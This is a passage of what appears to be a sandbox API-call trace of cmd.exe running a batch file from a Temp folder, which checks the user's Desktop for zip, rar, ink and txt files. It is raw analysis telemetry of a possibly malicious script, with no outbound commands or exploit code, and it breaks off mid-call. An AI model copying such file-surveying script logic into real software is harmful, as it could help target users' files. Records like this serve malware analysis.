dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.263] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.263] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.263] SetFilePointer (in: hFile=0x74, lDistanceToMove=1895, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x767 [0038.263] GetProcessHeap () returned 0x4e0000 [0038.263] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0038.263] GetProcessHeap () returned 0x4e0000 [0038.263] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0038.263] GetProcessHeap () returned 0x4e0000 [0038.264] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0038.264] GetProcessHeap () returned 0x4e0000 [0038.264] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0038.264] GetProcessHeap () returned 0x4e0000 [0038.264] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0038.264] GetProcessHeap () returned 0x4e0000 [0038.264] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0038.264] GetProcessHeap () returned 0x4e0000 [0038.264] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0038.264] GetProcessHeap () returned 0x4e0000 [0038.264] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.264] GetProcessHeap () returned 0x4e0000 [0038.264] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0038.264] GetProcessHeap () returned 0x4e0000 [0038.264] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.264] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.264] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x767 [0038.264] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1ec6, lpOverlapped=0x0) returned 1 [0038.264] SetFilePointer (in: hFile=0x74, lDistanceToMove=1897, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x769 [0038.264] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.zip goto zip\r\n\n\n") returned 2 [0038.264] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.264] GetFileType (hFile=0x74) returned 0x1 [0038.264] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.264] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x769 [0038.264] GetProcessHeap () returned 0x4e0000 [0038.265] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.265] GetProcessHeap () returned 0x4e0000 [0038.265] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.265] _tell (_FileHandle=3) returned 1897 [0038.265] _close (_FileHandle=3) returned 0 [0038.265] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.265] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.265] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.265] SetFilePointer (in: hFile=0x74, lDistanceToMove=1897, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x769 [0038.265] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.265] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x769 [0038.265] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1ec4, lpOverlapped=0x0) returned 1 [0038.265] SetFilePointer (in: hFile=0x74, lDistanceToMove=1922, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x782 [0038.265] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.rar goto rar\r\n\n\n") returned 25 [0038.265] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.265] GetFileType (hFile=0x74) returned 0x1 [0038.265] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.265] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x782 [0038.265] GetProcessHeap () returned 0x4e0000 [0038.266] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.266] GetProcessHeap () returned 0x4e0000 [0038.266] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.266] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.266] GetProcessHeap () returned 0x4e0000 [0038.266] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0038.266] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.266] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0038.266] GetProcessHeap () returned 0x4e0000 [0038.266] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0038.266] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0038.266] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0038.266] GetProcessHeap () returned 0x4e0000 [0038.266] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0038.266] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0038.266] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0038.266] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0038.266] GetProcessHeap () returned 0x4e0000 [0038.266] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.266] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0038.266] GetProcessHeap () returned 0x4e0000 [0038.266] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0038.266] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0038.266] GetProcessHeap () returned 0x4e0000 [0038.267] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0038.267] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0038.267] _tell (_FileHandle=3) returned 1922 [0038.267] _close (_FileHandle=3) returned 0 [0038.267] GetFullPathNameW (in: lpFileName="*.rar", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.rar", lpFilePart=0x41eea8*="*.rar") returned 0x2b [0038.267] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0038.268] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.rar", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0038.268] GetLastError () returned 0x2 [0038.268] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0038.268] GetLastError () returned 0x6 [0038.268] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.268] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.270] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.270] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.270] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.270] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.270] SetConsoleInputExeNameW () returned 0x1 [0038.270] GetConsoleOutputCP () returned 0x1b5 [0038.270] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.270] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.271] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.271] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.271] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.271] SetFilePointer (in: hFile=0x74, lDistanceToMove=1922, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x782 [0038.271] GetProcessHeap () returned 0x4e0000 [0038.271] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0038.271] GetProcessHeap () returned 0x4e0000 [0038.271] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0038.271] GetProcessHeap () returned 0x4e0000 [0038.271] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0038.271] GetProcessHeap () returned 0x4e0000 [0038.271] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0038.271] GetProcessHeap () returned 0x4e0000 [0038.271] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0038.271] GetProcessHeap () returned 0x4e0000 [0038.271] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0038.271] GetProcessHeap () returned 0x4e0000 [0038.271] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0038.271] GetProcessHeap () returned 0x4e0000 [0038.271] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.271] GetProcessHeap () returned 0x4e0000 [0038.271] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0038.271] GetProcessHeap () returned 0x4e0000 [0038.271] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.271] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.271] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x782 [0038.272] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1eab, lpOverlapped=0x0) returned 1 [0038.272] SetFilePointer (in: hFile=0x74, lDistanceToMove=1924, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x784 [0038.272] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.rar goto rar\r\n\n\n") returned 2 [0038.272] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.272] GetFileType (hFile=0x74) returned 0x1 [0038.272] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.272] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x784 [0038.272] GetProcessHeap () returned 0x4e0000 [0038.272] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.272] GetProcessHeap () returned 0x4e0000 [0038.272] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.272] _tell (_FileHandle=3) returned 1924 [0038.272] _close (_FileHandle=3) returned 0 [0038.272] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.272] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.272] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.272] SetFilePointer (in: hFile=0x74, lDistanceToMove=1924, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x784 [0038.273] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.273] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x784 [0038.273] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1ea9, lpOverlapped=0x0) returned 1 [0038.273] SetFilePointer (in: hFile=0x74, lDistanceToMove=1949, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x79d [0038.273] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.ink goto ink\r\n\n\n") returned 25 [0038.273] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.273] GetFileType (hFile=0x74) returned 0x1 [0038.273] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.273] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x79d [0038.273] GetProcessHeap () returned 0x4e0000 [0038.273] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.273] GetProcessHeap () returned 0x4e0000 [0038.273] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.273] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.273] GetProcessHeap () returned 0x4e0000 [0038.273] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0038.273] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.273] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0038.273] GetProcessHeap () returned 0x4e0000 [0038.273] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0038.273] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0038.273] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0038.273] GetProcessHeap () returned 0x4e0000 [0038.273] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0038.273] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0038.273] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0038.274] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0038.274] GetProcessHeap () returned 0x4e0000 [0038.274] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.274] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0038.274] GetProcessHeap () returned 0x4e0000 [0038.274] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0038.274] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0038.274] GetProcessHeap () returned 0x4e0000 [0038.274] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0038.274] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0038.274] _tell (_FileHandle=3) returned 1949 [0038.275] _close (_FileHandle=3) returned 0 [0038.275] GetFullPathNameW (in: lpFileName="*.ink", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ink", lpFilePart=0x41eea8*="*.ink") returned 0x2b [0038.275] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0038.275] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ink", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0038.275] GetLastError () returned 0x2 [0038.275] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0038.275] GetLastError () returned 0x6 [0038.275] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.275] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.275] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.275] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.275] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.275] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.276] SetConsoleInputExeNameW () returned 0x1 [0038.276] GetConsoleOutputCP () returned 0x1b5 [0038.276] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.276] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.276] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.276] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.276] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.276] SetFilePointer (in: hFile=0x74, lDistanceToMove=1949, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x79d [0038.276] GetProcessHeap () returned 0x4e0000 [0038.276] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0038.276] GetProcessHeap () returned 0x4e0000 [0038.276] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0038.276] GetProcessHeap () returned 0x4e0000 [0038.276] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0038.276] GetProcessHeap () returned 0x4e0000 [0038.277] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0038.277] GetProcessHeap () returned 0x4e0000 [0038.277] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0038.277] GetProcessHeap () returned 0x4e0000 [0038.277] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0038.277] GetProcessHeap () returned 0x4e0000 [0038.277] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0038.277] GetProcessHeap () returned 0x4e0000 [0038.277] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.277] GetProcessHeap () returned 0x4e0000 [0038.277] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0038.277] GetProcessHeap () returned 0x4e0000 [0038.277] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.277] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.277] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x79d [0038.277] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1e90, lpOverlapped=0x0) returned 1 [0038.277] SetFilePointer (in: hFile=0x74, lDistanceToMove=1951, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x79f [0038.277] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.ink goto ink\r\n\n\n") returned 2 [0038.277] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.277] GetFileType (hFile=0x74) returned 0x1 [0038.277] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.277] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x79f [0038.277] GetProcessHeap () returned 0x4e0000 [0038.277] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.278] GetProcessHeap () returned 0x4e0000 [0038.278] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.278] _tell (_FileHandle=3) returned 1951 [0038.278] _close (_FileHandle=3) returned 0 [0038.278] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.278] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.278] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.278] SetFilePointer (in: hFile=0x74, lDistanceToMove=1951, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x79f [0038.278] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.278] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x79f [0038.278] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1e8e, lpOverlapped=0x0) returned 1 [0038.278] SetFilePointer (in: hFile=0x74, lDistanceToMove=1976, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7b8 [0038.278] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.txt goto txt\r\n\n\n") returned 25 [0038.278] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.278] GetFileType (hFile=0x74) returned 0x1 [0038.278] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.278] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x7b8 [0038.278] GetProcessHeap () returned 0x4e0000 [0038.279] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.279] GetProcessHeap () returned 0x4e0000 [0038.279] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.279] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.279] GetProcessHeap () returned 0x4e0000 [0038.279] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0038.279] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.279] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0038.279] GetProcessHeap () returned 0x4e0000 [0038.279] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0038.279] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0038.279] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0038.279] GetProcessHeap () returned 0x4e0000 [0038.279] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0038.279] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0038.279] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0038.279] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0038.279] GetProcessHeap () returned 0x4e0000 [0038.279] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.279] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0038.279] GetProcessHeap () returned 0x4e0000 [0038.279] RtlSizeHeap 